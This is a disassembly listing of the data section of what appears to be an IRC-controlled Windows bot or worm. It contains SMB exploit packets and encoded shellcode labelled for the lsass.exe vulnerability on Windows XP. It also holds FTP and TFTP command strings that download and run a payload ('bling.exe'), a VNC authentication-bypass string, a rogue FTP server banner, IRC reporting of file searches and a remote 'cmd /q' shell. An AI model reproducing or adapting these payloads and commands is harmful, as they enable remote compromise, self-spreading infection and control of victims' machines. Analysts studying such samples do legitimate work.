dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_40E3F1+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 2 dup(0)
word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r
; sub_40E3F1+E7r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r
; sub_40E3F1+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40E292+BCo
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------
loc_433408: ; DATA XREF: sub_40E3F1+177o
jmp short loc_433410
; ---------------------------------------------------------------------------
jmp short loc_433412
; ---------------------------------------------------------------------------
align 10h
loc_433410: ; CODE XREF: .packed:loc_433408j
; DATA XREF: sub_40E3F1+27o
pop esp
pop esp
loc_433412: ; CODE XREF: .packed:0043340Aj
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr
dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r
dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E9FB+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: .packed:0040EE25o
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .packed:0040ECB2o
align 4
word_4346DC dw 1 ; DATA XREF: .packed:0040EC29r
; sub_41B55B+24r ...
align 10h
dword_4346E0 dd 2E646D63h, 657865h ; DATA XREF: sub_40EF1C+130o
; sub_41A1B1+21o
aEchoOpenSDOE_0 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: sub_40F108+23Eo
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F3AA+5DAo
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_40F3AA+5B9o
align 4
dword_434798 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
; DATA XREF: sub_40F3AA+568o
; sub_412197+3ACo
dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
dd 207C2038h, 336E5730h, 203E2044h, 7325h
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F3AA+554o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_40F3AA+4F7o
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_40F3AA+4DFo
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F3AA+4CFo
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F3AA+4BEo
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F3AA+48Bo
align 10h
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F3AA+447o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_40F3AA+40Eo
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F3AA+3E0o
align 4
aList_0 db 'LIST',0 ; DATA XREF: sub_40F3AA+3CDo
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_40F3AA+395o
align 4
aPasv db 'PASV',0 ; DATA XREF: sub_40F3AA+382o
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F3AA+372o
aI_0: ; DATA XREF: sub_40F3AA+35Eo
; .packed:004387E8o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F3AA+33Bo
aA_0: ; DATA XREF: sub_40F3AA+327o
; .packed:004387F4o
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_40F3AA:loc_40F6B3o
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F3AA+2FEo
align 4
off_43492C dd offset dword_445750 ; DATA XREF: sub_40F3AA+2EAo
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F3AA+2DDo
align 4
aRest db 'REST',0 ; DATA XREF: sub_40F3AA+2C9o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F3AA+2BCo
align 4
aSyst db 'SYST',0 ; DATA XREF: sub_40F3AA+2A8o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F3AA+29Bo
align 4
aPass db 'PASS',0 ; DATA XREF: sub_40F3AA+287o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F3AA+277o
align 4
aUser_0 db 'USER',0 ; DATA XREF: sub_40F3AA+262o
align 4
aSS_0 db '%s %s',0 ; DATA XREF: sub_40F3AA+251o
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F3AA+1C9o
align 4
unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo
; sub_41AA1E+F5o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o
; sub_41AF8F+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo
align 4
unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_34 db ' failed to start worker thread, error %d',0
align 4
unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
asc_434C78: ; DATA XREF: sub_4100B4+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_41036B+652o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_41036B+61Co
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
align 4
aSS_1 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o
; sub_41036B+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_41036B+2E9o
; sub_41036B+40Bo
align 10h
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm db 'AM',0 ; DATA XREF: sub_41036B+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao
align 4
a__ db '..',0 ; DATA XREF: sub_41036B+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410BFD+171o
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410BFD+116o
dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410BFD+BBo
aClientConnecti db '- client connection from %s:%d.',0
unk_435190 db 2Dh ; - ; DATA XREF: sub_410DAB+15Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0
unk_4351CC db 2Dh ; - ; DATA XREF: sub_410DAB+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_435214 db 2Dh ; - ; DATA XREF: sub_410F3C+1AAo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0
unk_435254 db 2Dh ; - ; DATA XREF: sub_410F3C+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_435298 db 2Dh ; - ; DATA XREF: sub_4111C0+1E9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4352C4 db 2Dh ; - ; DATA XREF: sub_4111C0+1C2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
unk_4352F0 db 2Dh ; - ; DATA XREF: sub_4111C0+1A2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4111C0+172o
align 4
unk_43532C db 2Dh ; - ; DATA XREF: sub_4111C0+E1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
unk_435384 db 2Dh ; - ; DATA XREF: sub_41141F+1Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0
align 4
unk_4353BC db 2Dh ; - ; DATA XREF: sub_41144E+219o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorServerFai db '- Error: server failed, returned: <%d>.',0
align 4
unk_4353F4 db 2Dh ; - ; DATA XREF: sub_41144E+1FBo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0
align 10h
unk_435430 db 2Dh ; - ; DATA XREF: sub_41144E+177o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_435474 db 2Dh ; - ; DATA XREF: sub_41144E+106o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aReadyAndWaitin db '- Ready and waiting for incoming connections.',0
align 10h
unk_4354B0 db 2Dh ; - ; DATA XREF: sub_41144E+70o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0
align 4
unk_4354F4 db 2Dh ; - ; DATA XREF: sub_41144E+3Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o
; sub_4116D6+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co
align 4
unk_435684 db 2Dh ; - ; DATA XREF: sub_4119F9+A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
dword_4356C0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+1B2o
aFailedToSta_38 db '- Failed to start server on Port %d.',0
align 4
dword_4356F4 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+18Fo
aFailedToSta_39 db '- Failed to start client thread, error: <%d>.',0
align 10h
